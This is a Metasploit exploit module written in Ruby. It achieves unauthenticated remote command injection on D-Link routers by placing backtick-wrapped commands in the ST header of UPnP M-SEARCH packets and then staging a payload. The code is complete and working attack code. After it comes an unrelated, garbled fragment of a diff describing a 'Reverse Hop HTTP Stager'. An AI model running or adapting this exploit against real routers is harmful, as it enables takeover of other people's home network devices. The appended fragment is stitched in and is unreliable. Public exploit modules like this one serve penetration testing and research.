# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast
requests. This module has been tested on DIR-300 and DIR-645 devices. Zacharia Cutlip
has initially reported the DIR-815 vulnerable. Probably there are other devices also
affected.
},
'Author' =>
[
'Zachary Cutlip', # Vulnerability discovery and initial exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
],
'DisclosureDate' => 'Feb 01 2013',
'Privileged' => true,
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
}
]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900)
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
configure_socket
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:2\r\n\r\n"
udp_sock.sendto(pkt, rhost, rport, 0)
res = nil
1.upto(5) do
res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
udp_sock.sendto(pkt, rhost, rport, 0)
end
# UPnP response:
# [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
# we do not check for the Device ID (DIR-645) and for the firmware version because there are different
# dlink devices out there and we do not know all the vulnerable versions
if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts)
configure_socket
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:`#{cmd}`\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:2\r\n\r\n"
udp_sock.sendto(pkt, rhost, rport, 0)
end
def exploit
print_status("#{rhost}:#{rport} - Trying to access the device via UPnP ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to access the vulnerable device")
end
print_status("#{rhost}:#{rport} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 950
)
end
# the packet stuff was taken from the module miniupnpd_soap_bof.rb
# We need an unconnected socket because SSDP replies often come
# from a different sent port than the one we sent to. This also
# breaks the standard UDP mixin.
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
#
# Required since we aren't using the normal mixins
#
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
# Accessor for our UDP socket
attr_accessor :udp_sock
end

View File

@ -15,9 +15,9 @@ module Metasploit3
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
'Name' => 'Reverse Hop HTTP Stager', 'Name' => 'Reverse Hop HTTP Stager',
'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+ 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload
"the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+ data/hop/hop.php to the PHP server you wish to use as a hop.
"to the HTTP server you wish to use as a hop)", },
'Author' => 'Author' =>
[ [
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>', 'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',